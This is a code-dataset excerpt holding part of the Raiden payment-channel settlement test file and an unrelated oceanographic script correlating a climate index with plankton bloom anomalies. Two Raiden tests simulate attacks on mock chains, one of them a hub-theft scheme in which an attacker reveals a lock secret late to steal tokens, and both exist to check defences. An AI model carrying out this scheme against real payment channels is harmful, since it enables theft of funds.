transfermessage,\n )\n wait_until_block(alice_chain, alice_chain.block_number() + 1)\n\n assert alice_bob_channel.close_event.wait(timeout=15)\n assert bob_alice_channel.close_event.wait(timeout=15)\n\n assert alice_bob_channel.external_state.closed_block != 0\n assert bob_alice_channel.external_state.closed_block != 0\n assert alice_bob_channel.external_state.settled_block == 0\n assert bob_alice_channel.external_state.settled_block == 0\n\n # unlock will not be called by Channel.channel_closed because we did not\n # register the secret\n assert lock.expiration > alice_app.raiden.chain.block_number()\n assert lock.hashlock == sha3(secret)\n\n bob_alice_channel.external_state.netting_channel.withdraw(\n bob_app.raiden.address,\n [unlock_proof],\n )\n\n settle_expiration = alice_chain.block_number() + settle_timeout + 2\n wait_until_block(alice_chain, settle_expiration)\n\n assert alice_bob_channel.settle_event.wait(timeout=15)\n assert bob_alice_channel.settle_event.wait(timeout=15)\n # settle must be called by the apps triggered by the ChannelClose event,\n # and the channels must update it's state based on the ChannelSettled event\n assert alice_bob_channel.external_state.settled_block != 0\n assert bob_alice_channel.external_state.settled_block != 0\n\n address0 = alice_app.raiden.address\n address1 = bob_app.raiden.address\n\n alice_netted_balance = alice_balance + alice_deposit - alice_to_bob_amount\n bob_netted_balance = bob_balance + bob_deposit + alice_to_bob_amount\n\n assert token.balance_of(address0) == alice_netted_balance\n assert token.balance_of(address1) == bob_netted_balance\n\n # Now let's query the WAL to see if the state changes were logged as expected\n state_changes = [\n change[1] for change in alice_app.raiden.transaction_log.get_all_state_changes()\n if not isinstance(change[1], Block)\n ]\n\n state_change1 = state_changes[0]\n state_change2 = state_changes[1]\n state_change3 = state_changes[2]\n state_change4 = state_changes[3]\n\n assert(isinstance(state_change1, ContractReceiveClosed))\n assert state_change1.channel_address == nettingaddress0\n assert state_change1.closing_address == bob_app.raiden.address\n assert state_change1.block_number == alice_bob_channel.external_state.closed_block\n\n # Can't be sure of the order in which we encounter the SecretReveal and the withdraw\n assert_secretreveal_or_withdraw(state_change2, secret, nettingaddress0, bob_app.raiden.address)\n assert_secretreveal_or_withdraw(state_change3, secret, nettingaddress0, bob_app.raiden.address)\n\n assert(isinstance(state_change4, ContractReceiveSettled))\n assert state_change4.channel_address == nettingaddress0\n assert state_change4.block_number == bob_alice_channel.external_state.settled_block\n\n\n@pytest.mark.parametrize('privatekey_seed', ['settled_lock:{}'])\n@pytest.mark.parametrize('number_of_nodes', [4])\n@pytest.mark.parametrize('channels_per_node', [CHAIN])\n# TODO: Need to expose the netted value to use a different blockchain_type\n@pytest.mark.parametrize('blockchain_type', ['mock'])\ndef test_settled_lock(token_addresses, raiden_network, settle_timeout, reveal_timeout):\n \"\"\" Any transfer following a secret revealed must update the locksroot, so\n that an attacker cannot reuse a secret to double claim a lock.\n \"\"\"\n token = token_addresses[0]\n amount = 30\n\n app0, app1, app2, _ = raiden_network # pylint: disable=unbalanced-tuple-unpacking\n address0 = app0.raiden.address\n address1 = app1.raiden.address\n\n # mediated transfer\n identifier = 1\n expiration = app0.raiden.chain.block_number() + settle_timeout - reveal_timeout\n secret = pending_mediated_transfer(\n raiden_network,\n token,\n amount,\n identifier,\n expiration,\n )\n hashlock = sha3(secret)\n\n # get a proof for the pending transfer\n back_channel = channel(app1, app0, token)\n secret_transfer = get_received_transfer(back_channel, 0)\n lock = back_channel.our_state.balance_proof.get_lock_by_hashlock(hashlock)\n unlock_proof = back_channel.our_state.balance_proof.compute_proof_for_lock(secret, lock)\n\n # reveal the secret\n claim_lock(raiden_network, token, secret)\n\n # a new transfer to update the hashlock\n direct_transfer(app0, app1, token, amount)\n\n forward_channel = channel(app0, app1, token)\n last_transfer = get_sent_transfer(forward_channel, 1)\n\n # call close giving the secret for a transfer that has being revealed\n back_channel.external_state.netting_channel.close(\n app1.raiden.address,\n last_transfer,\n )\n\n # check that the double unlock will fail\n with pytest.raises(Exception):\n back_channel.external_state.netting_channel.withdraw(\n app1.raiden.address,\n [(unlock_proof, secret_transfer.lock.as_bytes, secret)],\n )\n\n # forward the block number to allow settle\n settle_expiration = app2.raiden.chain.block_number() + settle_timeout\n wait_until_block(app2.raiden.chain, settle_expiration)\n\n back_channel.external_state.netting_channel.settle()\n\n participant0 = back_channel.external_state.netting_channel.contract.participants[address0]\n participant1 = back_channel.external_state.netting_channel.contract.participants[address1]\n\n assert participant0.netted == participant0.deposit - amount * 2\n assert participant1.netted == participant1.deposit + amount * 2\n\n\n@pytest.mark.xfail(reason=\"test incomplete\")\n@pytest.mark.parametrize('privatekey_seed', ['start_end_attack:{}'])\n@pytest.mark.parametrize('number_of_nodes', [3])\ndef test_start_end_attack(token_addresses, raiden_chain, deposit, reveal_timeout):\n \"\"\" An attacker can try to steal tokens from a hub or the last node in a\n path.\n\n The attacker needs to use two addresses (A1 and A2) and connect both to the\n hub H, once connected a mediated transfer is initialized from A1 to A2\n through H, once the node A2 receives the mediated transfer the attacker\n uses the known secret and reveal to close and settles the channel H-A2,\n without revealing the secret to H's raiden node.\n\n The intention is to make the hub transfer the token but for him to be\n unable to require the token A1.\n \"\"\"\n amount = 30\n\n token = token_addresses[0]\n app0, app1, app2 = raiden_chain # pylint: disable=unbalanced-tuple-unpacking\n\n # the attacker owns app0 and app2 and creates a transfer through app1\n identifier = 1\n expiration = reveal_timeout + 5\n secret = pending_mediated_transfer(\n raiden_chain,\n token,\n amount,\n identifier,\n expiration\n )\n hashlock = sha3(secret)\n\n attack_channel = channel(app2, app1, token)\n attack_transfer = get_received_transfer(attack_channel, 0)\n attack_contract = attack_channel.external_state.netting_channel.address\n hub_contract = channel(app1, app0, token).external_state.netting_channel.address\n\n # the attacker can create a merkle proof of the locked transfer\n lock = attack_channel.our_state.balance_proof.get_lock_by_hashlock(hashlock)\n unlock_proof = attack_channel.our_state.balance_proof.compute_proof_for_lock(secret, lock)\n\n # start the settle counter\n attack_channel.netting_channel.close(\n app2.raiden.address,\n attack_transfer,\n None\n )\n\n # wait until the last block to reveal the secret, hopefully we are not\n # missing a block during the test\n wait_until_block(app2.raiden.chain, attack_transfer.lock.expiration - 1)\n\n # since the attacker knows the secret he can net the lock\n attack_channel.netting_channel.withdraw(\n [(unlock_proof, attack_transfer.lock, secret)],\n )\n # XXX: verify that the secret was publicized\n\n # at this point the hub might not know yet the secret, and won't be able to\n # claim the token from the channel A1 - H\n\n # the attacker settle the contract\n app2.raiden.chain.next_block()\n\n attack_channel.netting_channel.settle(token, attack_contract)\n\n # at this point the attack has the \"stolen\" funds\n attack_contract = app2.raiden.chain.token_hashchannel[token][attack_contract]\n assert attack_contract.participants[app2.raiden.address]['netted'] == deposit + amount\n assert attack_contract.participants[app1.raiden.address]['netted'] == deposit - amount\n\n # and the hub's channel A1-H doesn't\n hub_contract = app1.raiden.chain.token_hashchannel[token][hub_contract]\n assert hub_contract.participants[app0.raiden.address]['netted'] == deposit\n assert hub_contract.participants[app1.raiden.address]['netted'] == deposit\n\n # to mitigate the attack the Hub _needs_ to use a lower expiration for the\n # locked transfer between H-A2 than A1-H, since for A2 to acquire the token\n # it needs to make the secret public in the block chain we publish the\n # secret through an event and the Hub will be able to require it's funds\n app1.raiden.chain.next_block()\n\n # XXX: verify that the Hub has found the secret, close and settle the channel\n\n # the hub has acquired its token\n hub_contract = app1.raiden.chain.token_hashchannel[token][hub_contract]\n assert hub_contract.participants[app0.raiden.address]['netted'] == deposit + amount\n assert hub_contract.participants[app1.raiden.address]['netted'] == deposit - amount\n\n\n@pytest.mark.parametrize('blockchain_type', ['geth'])\n@pytest.mark.parametrize('number_of_nodes', [2])\ndef test_automatic_dispute(raiden_network, deposit, settle_timeout, reveal_timeout):\n app0, app1 = raiden_network\n channel0 = app0.raiden.channelgraphs.values()[0].partneraddress_channel.values()[0]\n channel1 = app1.raiden.channelgraphs.values()[0].partneraddress_channel.values()[0]\n privatekey0 = app0.raiden.private_key\n privatekey1 = app1.raiden.private_key\n address0 = privatekey_to_address(privatekey0.secret)\n address1 = privatekey_to_address(privatekey1.secret)\n token = app0.raiden.chain.token(channel0.token_address)\n initial_balance0 = token.balance_of(address0)\n initial_balance1 = token.balance_of(address1)\n\n # Alice sends Bob 10 tokens\n amount_alice1 = 10\n alice_first_transfer = channel0.create_directtransfer(\n amount_alice1,\n 1 # TODO: fill in identifier\n )\n alice_first_transfer.sign(privatekey0, address0)\n channel0.register_transfer(alice_first_transfer)\n channel1.register_transfer(alice_first_transfer)\n\n # Bob sends Alice 50 tokens\n amount_bob1 = 50\n bob_first_transfer = channel1.create_directtransfer(\n amount_bob1,\n 1 # TODO: fill in identifier\n )\n bob_first_transfer.sign(privatekey1, address1)\n channel0.register_transfer(bob_first_transfer)\n channel1.register_transfer(bob_first_transfer)\n\n # Finally Alice sends Bob 60 tokens\n amount_alice2 = 60\n alice_second_transfer = channel0.create_directtransfer(\n amount_alice2,\n 1 # TODO: fill in identifier\n )\n alice_second_transfer.sign(privatekey0, address0)\n channel0.register_transfer(alice_second_transfer)\n channel1.register_transfer(alice_second_transfer)\n\n bob_last_transaction = bob_first_transfer\n\n # Alice can only provide one of Bob's transfer, so she is incetivized to\n # use the one with the largest transferred_amount.\n channel0.external_state.close(\n None,\n bob_last_transaction,\n )\n chain0 = app0.raiden.chain\n wait_until_block(chain0, chain0.block_number() + 1)\n\n assert channel0.close_event.wait(timeout=25)\n assert channel1.close_event.wait(timeout=25)\n\n assert channel0.external_state.closed_block != 0\n assert channel1.external_state.closed_block != 0\n\n # Bob needs to provide a transfer otherwise it's netted balance will be\n # wrong, so he is incetivized to use Alice's transfer with the largest\n # transferred_amount.\n channel1.external_state.update_transfer(\n None,\n alice_second_transfer,\n )\n\n # wait until the settle timeout has passed\n settle_expiration = chain0.block_number() + settle_timeout\n wait_until_block(chain0, settle_expiration)\n\n # the settle event must be set\n assert channel0.settle_event.wait(timeout=60)\n assert channel1.settle_event.wait(timeout=60)\n\n # check that the channel is properly settled and that Bob's client\n # automatically called updateTransfer() to reflect the actual transactions\n assert channel0.external_state.settled_block != 0\n assert channel1.external_state.settled_block != 0\n assert token.balance_of(channel0.external_state.netting_channel.address) == 0\n total_alice = amount_alice1 + amount_alice2\n total_bob = amount_bob1\n assert token.balance_of(address0) == initial_balance0 + deposit - total_alice + total_bob\n assert token.balance_of(address1) == initial_balance1 + deposit + total_alice - total_bob\n", "sub_path": "raiden/raiden/tests/integration/test_settlement.py", "file_name": "test_settlement.py", "file_ext": "py", "file_size_in_byte": 17495, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ethereum.slogging.configure", "line_number": 29, "usage_type": "call"}, {"api_name": "ethereum.slogging", "line_number": 29, "usage_type": "name"}, {"api_name": "raiden.transfer.mediated_transfer.state_change.ReceiveSecretReveal", "line_number": 33, "usage_type": "argument"}, {"api_name": "raiden.transfer.mediated_transfer.state_change.ContractReceiveWithdraw", "line_number": 36, "usage_type": "argument"}, {"api_name": "raiden.tests.utils.messages.setup_messages_cb", "line_number": 51, "usage_type": "call"}, {"api_name": "raiden.utils.sha3", "line_number": 73, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.assert_synched_channels", "line_number": 96, "usage_type": "call"}, {"api_name": "raiden.utils.sha3", "line_number": 113, "usage_type": "call"}, {"api_name": "raiden.mtree.check_proof", "line_number": 118, "usage_type": "call"}, {"api_name": "raiden.utils.sha3", "line_number": 121, "usage_type": "call"}, {"api_name": "raiden.tests.utils.blockchain.wait_until_block", "line_number": 132, "usage_type": "call"}, {"api_name": "raiden.utils.sha3", "line_number": 145, "usage_type": "call"}, {"api_name": "raiden.tests.utils.blockchain.wait_until_block", "line_number": 153, "usage_type": "call"}, {"api_name": "raiden.transfer.state_change.Block", "line_number": 174, "usage_type": "argument"}, {"api_name": "raiden.transfer.mediated_transfer.state_change.ContractReceiveClosed", "line_number": 182, "usage_type": "argument"}, {"api_name": "raiden.transfer.mediated_transfer.state_change.ContractReceiveSettled", "line_number": 191, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 46, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 47, "usage_type": "attribute"}, {"api_name": "raiden.tests.utils.transfer.pending_mediated_transfer", "line_number": 215, "usage_type": "call"}, {"api_name": "raiden.utils.sha3", "line_number": 222, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.channel", "line_number": 225, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.get_received_transfer", "line_number": 226, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.claim_lock", "line_number": 231, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.direct_transfer", "line_number": 234, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.channel", "line_number": 236, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.get_sent_transfer", "line_number": 237, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 246, "usage_type": "call"}, {"api_name": "raiden.tests.utils.blockchain.wait_until_block", "line_number": 254, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 196, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 197, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 198, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 198, "usage_type": "attribute"}, {"api_name": "raiden.tests.utils.network.CHAIN", "line_number": 198, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 200, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 200, "usage_type": "attribute"}, {"api_name": "raiden.tests.utils.transfer.pending_mediated_transfer", "line_number": 289, "usage_type": "call"}, {"api_name": "raiden.utils.sha3", "line_number": 296, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.channel", "line_number": 298, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.get_received_transfer", "line_number": 299, "usage_type": "call"}, {"api_name": "raiden.tests.utils.transfer.channel", "line_number": 301, "usage_type": "call"}, {"api_name": "raiden.tests.utils.blockchain.wait_until_block", "line_number": 316, "usage_type": "call"}, {"api_name": "pytest.mark.xfail", "line_number": 265, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 265, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 266, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 266, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 267, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 267, "usage_type": "attribute"}, {"api_name": "raiden.utils.privatekey_to_address", "line_number": 364, "usage_type": "call"}, {"api_name": "raiden.utils.privatekey_to_address", "line_number": 365, "usage_type": "call"}, {"api_name": "raiden.tests.utils.blockchain.wait_until_block", "line_number": 409, "usage_type": "call"}, {"api_name": "raiden.tests.utils.blockchain.wait_until_block", "line_number": 427, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 356, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 356, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 357, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 357, "usage_type": "attribute"}]} {"seq_id": "7523875", "text": "'''\nIn /home/cyrf0006/research/PeopleStuff/BelangerStuff\n'''\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\n\n# Time period\nYEAR_MIN = 1998\nYEAR_MAX = 2020\n\n## Load bloom param and compute metrics\ndf_bloom = pd.read_csv('BloomFitParams_NAFO_15Jun2021.csv')\ndf_bloom = df_bloom[['Region', 'Sensor', 'Year', 'Mean', 'Median', 't[start]', 't[max]', 't[end]', 't[duration]', 'Magnitude[real]', 'Magnitude[fit]', 'Amplitude[real]', 'Amplitude[fit]']]\ndf_2J = df_bloom[df_bloom.Region=='2J'].groupby('Year').mean()\ndf_3K = df_bloom[df_bloom.Region=='3K'].groupby('Year').mean()\ndf_3L = df_bloom[df_bloom.Region=='3L'].groupby('Year').mean()\ndf_3NO = df_bloom[df_bloom.Region=='3NO'].groupby('Year').mean()\ndf_3LNO = df_bloom[df_bloom.Region=='3LNO'].groupby('Year').mean()\n# Initiation\ndf_init = pd.concat([df_2J['t[start]'], df_3K['t[start]'], df_3LNO['t[start]']], keys=['2J', '3K','3LNO'], axis=1)\nanom_init = (df_init-df_init.mean()) / df_init.std()\nanom_init.to_csv('bloom_init_anomaly_for_adamack.csv')\nanom_init = anom_init.mean(axis=1)\n# Peak\ndf_max = pd.concat([df_2J['t[max]'], df_3K['t[max]'], df_3LNO['t[max]']], keys=['2J', '3K','3LNO'], axis=1)\nanom_max = (df_max-df_max.mean()) / df_max.std()\nanom_max = anom_max.mean(axis=1)\nanom_max.to_csv('bloom_max_timing_anom.csv')\n# End bloom\ndf_end = pd.concat([df_2J['t[end]'], df_3K['t[end]'], df_3LNO['t[end]']], keys=['2J', '3K','3LNO'], axis=1)\nanom_end = (df_end-df_end.mean()) / df_end.std()\nanom_end = anom_end.mean(axis=1)\n# All together\ndf_anom = pd.concat([anom_init, anom_max, anom_end], axis=1).mean(axis=1)\n# restrict period\ndf_init = df_init[(df_init.index>=YEAR_MIN) & (df_init.index<=YEAR_MAX)]\ndf_max = df_max[(df_max.index>=YEAR_MIN) & (df_max.index<=YEAR_MAX)]\ndf_end = df_end[(df_end.index>=YEAR_MIN) & (df_end.index<=YEAR_MAX)]\ndf_anom = df_anom[(df_anom.index>=YEAR_MIN) & (df_anom.index<=YEAR_MAX)]\n\n## Load climate index\nnlci = pd.read_csv('/home/cyrf0006/AZMP/state_reports/climate_index/NL_climate_index.csv')\nnlci.set_index('Year', inplace=True)\nnlci = nlci[(nlci.index>=YEAR_MIN) & (nlci.index<=YEAR_MAX)]\n\n\n## Load calfin stuff (need to be updated)\ndf0 = pd.read_csv('/home/cyrf0006/research/PeopleStuff/BelangerStuff/CorrelationData.csv', index_col='Year')\ndf = pd.read_csv('Zooplankton_zonal_mean_anomalies.csv', index_col='year')\ndf = df[(df.index>=YEAR_MIN) & (df.index<=YEAR_MAX)]\n\n\n## Correlation\nanom_init.name='init' \nanom_max.name='max' \nanom_end.name='end' \nmatrix = pd.concat([nlci, anom_init, anom_max, anom_end, df0['calfin'], df['meanAnomaly_Biomass'], df['meanAnomaly_calfin']], axis=1) \nfrom scipy.stats import pearsonr\ndef calculate_pvalues(df):\n df = df.dropna()._get_numeric_data()\n dfcols = pd.DataFrame(columns=df.columns)\n pvalues = dfcols.transpose().join(dfcols, how='outer')\n for r in df.columns:\n for c in df.columns:\n pvalues[r][c] = round(pearsonr(df[r], df[c])[1], 4)\n return pvalues\n\ncorrMatrix = matrix.corr().round(2)\npvalues = calculate_pvalues(matrix)\n\n\n## plot\nfig, ax = plt.subplots(nrows=1, ncols=1)\nplt.plot(nlci, linewidth=2)\nplt.plot(anom_init, linewidth=2)\nplt.grid()\nplt.ylabel('Standardized anomaly')\nplt.legend(['NLCI', 'Bloom initiation'])\nplt.text(2000, 1.25, ' r = -0.59', fontsize=14, fontweight='bold')\nfig_name = 'correlation_NLCI_bloom-init.png'\nfig.savefig(fig_name, dpi=200)\nos.system('convert -trim correlation_NLCI_bloom-init.png correlation_NLCI_bloom-init.png')\n\n\nfig, ax = plt.subplots(nrows=1, ncols=1)\nplt.plot(nlci, linewidth=2)\nplt.plot(anom_max, linewidth=2)\nplt.grid()\nplt.ylabel('Standardized anomaly')\nplt.legend(['NLCI', 'Bloom max timing'])\nplt.text(2015, -1.15, ' r = -0.73', fontsize=14, fontweight='bold')\nplt.text(1997, 1.3, 'a)', fontsize=14, fontweight='bold')\n# No tick label\nplt.gca().axes.get_xaxis().set_ticklabels([])\nfig.set_size_inches(w=7, h=4)\nfig_name = 'correlation_NLCI_bloom-max.png'\nfig.savefig(fig_name, dpi=200)\nos.system('convert -trim correlation_NLCI_bloom-max.png correlation_NLCI_bloom-max.png')\n\n\nfig, ax = plt.subplots(nrows=1, ncols=1)\nplt.plot(nlci, linewidth=2)\nplt.plot(anom_end, linewidth=2)\nplt.grid()\nplt.ylabel('Standardized anomaly')\nplt.legend(['NLCI', 'Bloom end timing'])\nplt.text(2000, 1.25, ' r = -0.63', fontsize=14, fontweight='bold')\nfig.set_size_inches(w=7, h=4)\nfig_name = 'correlation_NLCI_bloom-end.png'\nfig.savefig(fig_name, dpi=200)\nos.system('convert -trim correlation_NLCI_bloom-end.png correlation_NLCI_bloom-end.png')\n\n\n\nfig, ax = plt.subplots(nrows=1, ncols=1)\nplt.plot(nlci, linewidth=2)\nplt.plot(df['meanAnomaly_calfin'], linewidth=2)\nplt.grid()\nplt.ylabel('Standardized anomaly')\nplt.legend(['NLCI', 'Cal. finmarchicus'], loc='upper right')\nplt.text(2015, 0.85, ' r = 0.53', fontsize=14, fontweight='bold')\nplt.text(1997, 1.25, 'b)', fontsize=14, fontweight='bold')\nfig_name = 'correlation_NLCI_calfin.png'\nfig.set_size_inches(w=7, h=4)\nfig.savefig(fig_name, dpi=200)\nos.system('convert -trim correlation_NLCI_calfin.png correlation_NLCI_calfin.png')\n\nfig, ax = plt.subplots(nrows=1, ncols=1)\nplt.plot(nlci, linewidth=2)\nplt.plot(df['meanAnomaly_Biomass'], linewidth=2)\nplt.grid()\nplt.ylabel('Standardized anomaly')\nplt.legend(['NLCI', 'Zooplankton'], loc='upper right')\nplt.text(2015, 0.85, ' r = 0.59', fontsize=14, fontweight='bold')\nplt.text(1997, 1.25, 'b)', fontsize=14, fontweight='bold')\nfig_name = 'correlation_NLCI_zooplankton.png'\nfig.set_size_inches(w=7, h=4)\nfig.savefig(fig_name, dpi=200)\nos.system('convert -trim correlation_NLCI_zooplankton.png correlation_NLCI_zooplankton.png')\n\n## fig, ax = plt.subplots(nrows=1, ncols=1)\n## plt.plot(df_anom, linewidth=2)\n## plt.plot(df['calfin'], linewidth=2)\n## plt.grid()\n## plt.ylabel('Standardized anomaly')\n## plt.legend(['bloom metrics', 'Cal. finmarchicus'])\n## plt.text(2015, 0.75, ' r = -0.33', fontsize=14, fontweight='bold')\n## fig.set_size_inches(w=7, h=4)\n## fig_name = 'correlation_bloom_calfin.png'\n## fig.savefig(fig_name, dpi=200)\n## os.system('convert -trim correlation_bloom_calfin.png correlation_bloom_calfin.png')\n\n\nos.system('montage correlation_NLCI_bloom-max.png correlation_NLCI_calfin.png -tile 1x2 -geometry +10+10 -background white montage_nlci_bloom_calfin.png')\n", "sub_path": "nafc/wu_correl_NLCI.py", "file_name": "wu_correl_NLCI.py", "file_ext": "py", "file_size_in_byte": 6205, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 51, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 59, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 63, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "os.system", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "os.system", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "os.system", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "os.system", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 137, 